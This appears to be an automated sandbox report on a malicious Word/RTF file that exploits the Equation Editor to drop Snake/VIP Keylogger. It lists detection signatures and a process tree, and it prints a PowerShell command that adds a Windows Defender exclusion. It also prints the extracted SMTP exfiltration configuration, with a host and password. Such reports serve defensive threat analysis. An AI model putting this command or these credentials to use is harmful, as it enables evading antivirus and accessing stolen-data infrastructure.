Edit tour

Windows Analysis Report
na.doc

Overview

General Information

Sample name:	na.doc
Analysis ID:	1545179
MD5:	84db82889d53879931a4551c5c81619b
SHA1:	29d3908cadf8833d5dfe8f46235fc332f16883af
SHA256:	3a3a4165f6e4845d27dcee1345e65abc27af1fbd2a9acb2e675faa02dd3dbe5f
Tags:	docuser-abuse_ch
Infos:

Detection

Snake Keylogger, VIP Keylogger

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Found malware configuration

Initial sample is an obfuscated RTF file

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Sigma detected: EQNEDT32.EXE connecting to internet

Sigma detected: File Dropped By EQNEDT32EXE

Suricata IDS alerts for network traffic

Yara detected Snake Keylogger

Yara detected Telegram RAT

Yara detected VIP Keylogger

.NET source code contains potential unpacker

.NET source code references suspicious native API functions

Adds a directory exclusion to Windows Defender

Contains functionality to capture screen (.Net source)

Contains functionality to log keystrokes (.Net Source)

Document exploit detected (process start blacklist hit)

Injects a PE file into a foreign processes

Installs new ROOT certificates

Machine Learning detection for dropped file

Office equation editor drops PE file

Office equation editor establishes network connection

Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)

Sigma detected: Equation Editor Network Connection

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Sigma detected: Suspicious Binary In User Directory Spawned From Office Application

Sigma detected: Suspicious Microsoft Office Child Process

Tries to detect the country of the analysis system (by using the IP)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Mail credentials (via file / registry access)

Uses the Telegram API (likely for C&C communication)

Yara detected Generic Downloader

Abnormal high CPU Usage

Allocates memory with a write watch (potentially for evading sandboxes)

Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to call native functions

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found inlined nop instructions (likely shell or obfuscated code)

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

Office Equation Editor has been started

Potential document exploit detected (performs DNS queries)

Potential document exploit detected (performs HTTP gets)

Potential document exploit detected (unknown TCP traffic)

Queries the volume information (name, serial number etc) of a device

Sigma detected: Powershell Defender Exclusion

Sigma detected: Suspicious DNS Query for IP Lookup Service APIs

Stores large binary data to the registry

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Uses insecure TLS / SSL version for HTTPS connection

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w7x64

WINWORD.EXE (PID: 3228 cmdline: "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /Automation -Embedding MD5: 9EE74859D22DAE61F1750B3A1BACB6F5)

EQNEDT32.EXE (PID: 3308 cmdline: "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding MD5: A87236E214F6D42A65F5DEDAC816AEC8)

cmnjgyugo61000.exe (PID: 3472 cmdline: "C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe" MD5: 53A7577C1DE37E54A78A2B918EB0D8BB)

powershell.exe (PID: 3560 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe" MD5: EB32C070E658937AA9FA9F3AE629B2B8)

cmnjgyugo61000.exe (PID: 3576 cmdline: "C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe" MD5: 53A7577C1DE37E54A78A2B918EB0D8BB)

EQNEDT32.EXE (PID: 3800 cmdline: "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding MD5: A87236E214F6D42A65F5DEDAC816AEC8)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
404 Keylogger, Snake Keylogger	Snake Keylogger (aka 404 Keylogger) is a subscription-based keylogger that has many capabilities. The infostealer can steal a victims sensitive information, log keyboard strokes, take screenshots and extract information from the system clipboard. It was initially released on a Russian hacking forum in August 2019. It is notable for its relatively unusual methods of data exfiltration, including via email, FTP, SMTP, Pastebin or the messaging app Telegram.	No Attribution	https://any.run/cybersecurity-blog/analyzing-snake-keylogger/ https://any.run/cybersecurity-blog/reverse-engineering-snake-keylogger/ https://blog.netlab.360.com/purecrypter https://blog.nviso.eu/2022/04/06/analyzing-a-multilayer-maldoc-a-beginners-guide/ https://blogs.blackberry.com/en/2022/05/dot-net-stubs-sowing-the-seeds-of-discord	https://malpedia.caad.fkie.fraunhofer.de/details/win.404keylogger

Malware Configuration

Threatname: VIP Keylogger

{"Exfil Mode": "SMTP", "Email ID": "yugolog@falconcables.info", "Password": "7213575aceACE@@  ", "Host": "185.198.59.26", "Port": "587"}

Threatname: Snake Keylogger

{"Exfil Mode": "SMTP", "Username": "yugolog@falconcables.info", "Password": "7213575aceACE@@  ", "Host": "185.198.59.26", "Port": "587", "Version": "4.4"}

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
na.doc	INDICATOR_RTF_MalVer_Objects	Detects RTF documents with non-standard version and embeding one of the object mostly observed in exploit documents.	ditekSHen	0x5b463:$obj2: \objdata 0x5b477:$obj3: \objupdate 0x5b43f:$obj4: \objemb

Memory Dumps

Source	Rule	Description	Author	Strings
00000008.00000002.908152550.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000008.00000002.908152550.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
00000008.00000002.908152550.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000008.00000002.908152550.0000000000402000.00000040.00000400.00020000.00000000.sdmp	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x2daa0:$a1: get_encryptedPassword 0x2e028:$a2: get_encryptedUsername 0x2d713:$a3: get_timePasswordChanged 0x2d82a:$a4: get_passwordField 0x2dab6:$a5: set_encryptedPassword 0x307d2:$a6: get_passwords 0x30b66:$a7: get_logins 0x307be:$a8: GetOutlookPasswords 0x30177:$a9: StartKeylogger 0x30abf:$a10: KeyLoggerEventArgs 0x30217:$a11: KeyLoggerEventArgsEventHandler
00000005.00000002.414699470.00000000039A7000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000005.00000002.414699470.00000000039A7000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
00000005.00000002.414699470.00000000039A7000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000005.00000002.414699470.00000000039A7000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x3637c0:$a1: get_encryptedPassword 0x3a67e0:$a1: get_encryptedPassword 0x3e9600:$a1: get_encryptedPassword 0x363d48:$a2: get_encryptedUsername 0x3a6d68:$a2: get_encryptedUsername 0x3e9b88:$a2: get_encryptedUsername 0x363433:$a3: get_timePasswordChanged 0x3a6453:$a3: get_timePasswordChanged 0x3e9273:$a3: get_timePasswordChanged 0x36354a:$a4: get_passwordField 0x3a656a:$a4: get_passwordField 0x3e938a:$a4: get_passwordField 0x3637d6:$a5: set_encryptedPassword 0x3a67f6:$a5: set_encryptedPassword 0x3e9616:$a5: set_encryptedPassword 0x3664f2:$a6: get_passwords 0x3a9512:$a6: get_passwords 0x3ec332:$a6: get_passwords 0x366886:$a7: get_logins 0x3a98a6:$a7: get_logins 0x3ec6c6:$a7: get_logins
00000008.00000002.908507517.0000000002301000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
Process Memory Space: cmnjgyugo61000.exe PID: 3472	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: cmnjgyugo61000.exe PID: 3472	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
Process Memory Space: cmnjgyugo61000.exe PID: 3472	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Process Memory Space: cmnjgyugo61000.exe PID: 3472	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x360e7:$a1: get_encryptedPassword 0x3658c:$a2: get_encryptedUsername 0x35d7c:$a3: get_timePasswordChanged 0x35e87:$a4: get_passwordField 0x360fd:$a5: set_encryptedPassword 0x38942:$a6: get_passwords 0x38c19:$a7: get_logins 0x3892e:$a8: GetOutlookPasswords 0x38370:$a9: StartKeylogger 0x38b87:$a10: KeyLoggerEventArgs 0x38410:$a11: KeyLoggerEventArgsEventHandler
Process Memory Space: cmnjgyugo61000.exe PID: 3576	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: cmnjgyugo61000.exe PID: 3576	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
Process Memory Space: cmnjgyugo61000.exe PID: 3576	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Process Memory Space: cmnjgyugo61000.exe PID: 3576	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x4a2fc:$a1: get_encryptedPassword 0x4a87a:$a2: get_encryptedUsername 0x49f7e:$a3: get_timePasswordChanged 0x4a095:$a4: get_passwordField 0x4a312:$a5: set_encryptedPassword 0x4cfd6:$a6: get_passwords 0x4d366:$a7: get_logins 0x4cfc2:$a8: GetOutlookPasswords 0x4c97b:$a9: StartKeylogger 0x4d2bf:$a10: KeyLoggerEventArgs 0x4ca1b:$a11: KeyLoggerEventArgsEventHandler
Click to see the 12 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
8.2.cmnjgyugo61000.exe.400000.0.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
8.2.cmnjgyugo61000.exe.400000.0.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
8.2.cmnjgyugo61000.exe.400000.0.unpack	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
8.2.cmnjgyugo61000.exe.400000.0.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
8.2.cmnjgyugo61000.exe.400000.0.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x2dca0:$a1: get_encryptedPassword 0x2e228:$a2: get_encryptedUsername 0x2d913:$a3: get_timePasswordChanged 0x2da2a:$a4: get_passwordField 0x2dcb6:$a5: set_encryptedPassword 0x309d2:$a6: get_passwords 0x30d66:$a7: get_logins 0x309be:$a8: GetOutlookPasswords 0x30377:$a9: StartKeylogger 0x30cbf:$a10: KeyLoggerEventArgs 0x30417:$a11: KeyLoggerEventArgsEventHandler
8.2.cmnjgyugo61000.exe.400000.0.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x3b2b6:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x3a959:$a3: \Google\Chrome\User Data\Default\Login Data 0x3abb6:$a4: \Orbitum\User Data\Default\Login Data 0x3b595:$a5: \Kometa\User Data\Default\Login Data
8.2.cmnjgyugo61000.exe.400000.0.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x2f064:$s1: UnHook 0x2f06b:$s2: SetHook 0x2f073:$s3: CallNextHook 0x2f080:$s4: _hook
5.2.cmnjgyugo61000.exe.3cdcb20.5.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
5.2.cmnjgyugo61000.exe.3cdcb20.5.unpack	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
5.2.cmnjgyugo61000.exe.3cdcb20.5.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
5.2.cmnjgyugo61000.exe.3cdcb20.5.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x2bea0:$a1: get_encryptedPassword 0x2c428:$a2: get_encryptedUsername 0x2bb13:$a3: get_timePasswordChanged 0x2bc2a:$a4: get_passwordField 0x2beb6:$a5: set_encryptedPassword 0x2ebd2:$a6: get_passwords 0x2ef66:$a7: get_logins 0x2ebbe:$a8: GetOutlookPasswords 0x2e577:$a9: StartKeylogger 0x2eebf:$a10: KeyLoggerEventArgs 0x2e617:$a11: KeyLoggerEventArgsEventHandler
5.2.cmnjgyugo61000.exe.3cdcb20.5.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x394b6:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x38b59:$a3: \Google\Chrome\User Data\Default\Login Data 0x38db6:$a4: \Orbitum\User Data\Default\Login Data 0x39795:$a5: \Kometa\User Data\Default\Login Data
5.2.cmnjgyugo61000.exe.3cdcb20.5.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x2d264:$s1: UnHook 0x2d26b:$s2: SetHook 0x2d273:$s3: CallNextHook 0x2d280:$s4: _hook
5.2.cmnjgyugo61000.exe.3cdcb20.5.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
5.2.cmnjgyugo61000.exe.3cdcb20.5.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
5.2.cmnjgyugo61000.exe.3cdcb20.5.raw.unpack	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
5.2.cmnjgyugo61000.exe.3cdcb20.5.raw.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
5.2.cmnjgyugo61000.exe.3cdcb20.5.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x2dca0:$a1: get_encryptedPassword 0x70cc0:$a1: get_encryptedPassword 0xb3ae0:$a1: get_encryptedPassword 0x2e228:$a2: get_encryptedUsername 0x71248:$a2: get_encryptedUsername 0xb4068:$a2: get_encryptedUsername 0x2d913:$a3: get_timePasswordChanged 0x70933:$a3: get_timePasswordChanged 0xb3753:$a3: get_timePasswordChanged 0x2da2a:$a4: get_passwordField 0x70a4a:$a4: get_passwordField 0xb386a:$a4: get_passwordField 0x2dcb6:$a5: set_encryptedPassword 0x70cd6:$a5: set_encryptedPassword 0xb3af6:$a5: set_encryptedPassword 0x309d2:$a6: get_passwords 0x739f2:$a6: get_passwords 0xb6812:$a6: get_passwords 0x30d66:$a7: get_logins 0x73d86:$a7: get_logins 0xb6ba6:$a7: get_logins
5.2.cmnjgyugo61000.exe.3cdcb20.5.raw.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x3b2b6:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x7e2d6:$a2: \Comodo\Dragon\User Data\Default\Login Data 0xc10f6:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x3a959:$a3: \Google\Chrome\User Data\Default\Login Data 0x7d979:$a3: \Google\Chrome\User Data\Default\Login Data 0xc0799:$a3: \Google\Chrome\User Data\Default\Login Data 0x3abb6:$a4: \Orbitum\User Data\Default\Login Data 0x7dbd6:$a4: \Orbitum\User Data\Default\Login Data 0xc09f6:$a4: \Orbitum\User Data\Default\Login Data 0x3b595:$a5: \Kometa\User Data\Default\Login Data 0x7e5b5:$a5: \Kometa\User Data\Default\Login Data 0xc13d5:$a5: \Kometa\User Data\Default\Login Data
5.2.cmnjgyugo61000.exe.3cdcb20.5.raw.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x2f064:$s1: UnHook 0x72084:$s1: UnHook 0xb4ea4:$s1: UnHook 0x2f06b:$s2: SetHook 0x7208b:$s2: SetHook 0xb4eab:$s2: SetHook 0x2f073:$s3: CallNextHook 0x72093:$s3: CallNextHook 0xb4eb3:$s3: CallNextHook 0x2f080:$s4: _hook 0x720a0:$s4: _hook 0xb4ec0:$s4: _hook
5.2.cmnjgyugo61000.exe.3bd2ae0.2.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
5.2.cmnjgyugo61000.exe.3bd2ae0.2.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
5.2.cmnjgyugo61000.exe.3bd2ae0.2.raw.unpack	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
5.2.cmnjgyugo61000.exe.3bd2ae0.2.raw.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
5.2.cmnjgyugo61000.exe.3bd2ae0.2.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x137ce0:$a1: get_encryptedPassword 0x17ad00:$a1: get_encryptedPassword 0x1bdb20:$a1: get_encryptedPassword 0x138268:$a2: get_encryptedUsername 0x17b288:$a2: get_encryptedUsername 0x1be0a8:$a2: get_encryptedUsername 0x137953:$a3: get_timePasswordChanged 0x17a973:$a3: get_timePasswordChanged 0x1bd793:$a3: get_timePasswordChanged 0x137a6a:$a4: get_passwordField 0x17aa8a:$a4: get_passwordField 0x1bd8aa:$a4: get_passwordField 0x137cf6:$a5: set_encryptedPassword 0x17ad16:$a5: set_encryptedPassword 0x1bdb36:$a5: set_encryptedPassword 0x13aa12:$a6: get_passwords 0x17da32:$a6: get_passwords 0x1c0852:$a6: get_passwords 0x13ada6:$a7: get_logins 0x17ddc6:$a7: get_logins 0x1c0be6:$a7: get_logins
5.2.cmnjgyugo61000.exe.3bd2ae0.2.raw.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x1390a4:$s1: UnHook 0x17c0c4:$s1: UnHook 0x1beee4:$s1: UnHook 0x1390ab:$s2: SetHook 0x17c0cb:$s2: SetHook 0x1beeeb:$s2: SetHook 0x1390b3:$s3: CallNextHook 0x17c0d3:$s3: CallNextHook 0x1beef3:$s3: CallNextHook 0x1390c0:$s4: _hook 0x17c0e0:$s4: _hook 0x1bef00:$s4: _hook
5.2.cmnjgyugo61000.exe.3c57b00.3.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
5.2.cmnjgyugo61000.exe.3c57b00.3.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
5.2.cmnjgyugo61000.exe.3c57b00.3.raw.unpack	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
5.2.cmnjgyugo61000.exe.3c57b00.3.raw.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
5.2.cmnjgyugo61000.exe.3c57b00.3.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0xb2cc0:$a1: get_encryptedPassword 0xf5ce0:$a1: get_encryptedPassword 0x138b00:$a1: get_encryptedPassword 0xb3248:$a2: get_encryptedUsername 0xf6268:$a2: get_encryptedUsername 0x139088:$a2: get_encryptedUsername 0xb2933:$a3: get_timePasswordChanged 0xf5953:$a3: get_timePasswordChanged 0x138773:$a3: get_timePasswordChanged 0xb2a4a:$a4: get_passwordField 0xf5a6a:$a4: get_passwordField 0x13888a:$a4: get_passwordField 0xb2cd6:$a5: set_encryptedPassword 0xf5cf6:$a5: set_encryptedPassword 0x138b16:$a5: set_encryptedPassword 0xb59f2:$a6: get_passwords 0xf8a12:$a6: get_passwords 0x13b832:$a6: get_passwords 0xb5d86:$a7: get_logins 0xf8da6:$a7: get_logins 0x13bbc6:$a7: get_logins
5.2.cmnjgyugo61000.exe.3c57b00.3.raw.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0xb4084:$s1: UnHook 0xf70a4:$s1: UnHook 0x139ec4:$s1: UnHook 0xb408b:$s2: SetHook 0xf70ab:$s2: SetHook 0x139ecb:$s2: SetHook 0xb4093:$s3: CallNextHook 0xf70b3:$s3: CallNextHook 0x139ed3:$s3: CallNextHook 0xb40a0:$s4: _hook 0xf70c0:$s4: _hook 0x139ee0:$s4: _hook
Click to see the 27 entries

Sigma Signatures

Exploits

Sigma detected: EQNEDT32.EXE connecting to internet

Source: Network Connection

Author: Joe Security: Data: DestinationIp: 87.120.84.38, DestinationIsIpv6: false, DestinationPort: 80, EventID: 3, Image: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE, Initiated: true, ProcessId: 3308, Protocol: tcp, SourceIp: 192.168.2.22, SourceIsIpv6: false, SourcePort: 49165

Sigma detected: File Dropped By EQNEDT32EXE

Source: File created

Author: Joe Security: Data: EventID: 11, Image: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE, ProcessId: 3308, TargetFilename: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\CLLPdgxhnmwGf5Y[1].exe

System Summary

Sigma detected: Equation Editor Network Connection

Source: Network Connection

Author: Max Altgelt (Nextron Systems): Data: DestinationIp: 192.168.2.22, DestinationIsIpv6: false, DestinationPort: 49165, EventID: 3, Image: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE, Initiated: true, ProcessId: 3308, Protocol: tcp, SourceIp: 87.120.84.38, SourceIsIpv6: false, SourcePort: 80

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe", CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe", ParentImage: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe, ParentProcessId: 3472, ParentProcessName: cmnjgyugo61000.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe", ProcessId: 3560, ProcessName: powershell.exe

Sigma detected: Suspicious Binary In User Directory Spawned From Office Application

Source: Process started

Author: Jason Lynch: Data: Command: "C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe", CommandLine: "C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe", CommandLine|base64offset|contains: , Image: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe, NewProcessName: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe, OriginalFileName: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe, ParentCommandLine: "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding, ParentImage: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE, ParentProcessId: 3308, ParentProcessName: EQNEDT32.EXE, ProcessCommandLine: "C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe", ProcessId: 3472, ProcessName: cmnjgyugo61000.exe

Sigma detected: Suspicious Microsoft Office Child Process

Source: Process started

Author: Florian Roth (Nextron Systems), Markus Neis, FPT.EagleEye Team, Vadim Khrykov, Cyb3rEng, Michael Haag, Christopher Peacock @securepeacock, @scythe_io: Data: Command: "C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe", CommandLine: "C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe", CommandLine|base64offset|contains: , Image: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe, NewProcessName: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe, OriginalFileName: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe, ParentCommandLine: "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding, ParentImage: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE, ParentProcessId: 3308, ParentProcessName: EQNEDT32.EXE, ProcessCommandLine: "C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe", ProcessId: 3472, ProcessName: cmnjgyugo61000.exe

Sigma detected: Powershell Defender Exclusion

Source: Process started

Sigma detected: Suspicious DNS Query for IP Lookup Service APIs

Source: DNS query

Author: Brandon George (blog post), Thomas Patzke: Data: Image: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe, QueryName: checkip.dyndns.org

Sigma detected: Modification of IE Registry Settings

Source: Registry Key set

Author: frack113: Data: Details: 46 00 00 00 2A 00 00 00 09 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 02 00 00 00 C0 A8 02 16 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 , EventID: 13, EventType: SetValue, Image: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE, ProcessId: 3308, TargetObject: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\SavedLegacySettings

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe", CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe", ParentImage: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe, ParentProcessId: 3472, ParentProcessName: cmnjgyugo61000.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe", ProcessId: 3560, ProcessName: powershell.exe

Sigma detected: Office Macro File Creation

Source: File created

Author: Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE, ProcessId: 3228, TargetFilename: C:\Users\user\AppData\Roaming\Microsoft\Templates\~$Normal.dotm

Sigma detected: PowerShell Script Dropped Via PowerShell.EXE

Source: File created

Author: frack113: Data: EventID: 11, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 3560, TargetFilename: C:\Users\user\AppData\Local\Temp\xxoncosu.mah.ps1

Suricata Signatures

ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-30T08:14:18.649430+0100	2022050	1	A Network Trojan was detected	87.120.84.38	80	192.168.2.22	49165	TCP

ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-30T08:14:18.981830+0100	2022051	1	A Network Trojan was detected	87.120.84.38	80	192.168.2.22	49165	TCP

ETPRO EXPLOIT Adobe EMF File Memory Corrpution Vulnerability Inbound (CVE-2017-3123)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-30T08:14:18.981830+0100	2827449	1	Attempted User Privilege Gain	87.120.84.38	80	192.168.2.22	49165	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-30T08:14:30.554577+0100	2803305	3	Unknown Traffic	192.168.2.22	49168	188.114.96.3	443	TCP
2024-10-30T08:14:36.699659+0100	2803305	3	Unknown Traffic	192.168.2.22	49174	188.114.97.3	443	TCP
2024-10-30T08:14:40.091187+0100	2803305	3	Unknown Traffic	192.168.2.22	49178	188.114.97.3	443	TCP
2024-10-30T08:14:44.496057+0100	2803305	3	Unknown Traffic	192.168.2.22	49182	188.114.97.3	443	TCP

ETPRO MALWARE Common Downloader Header Pattern UH

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
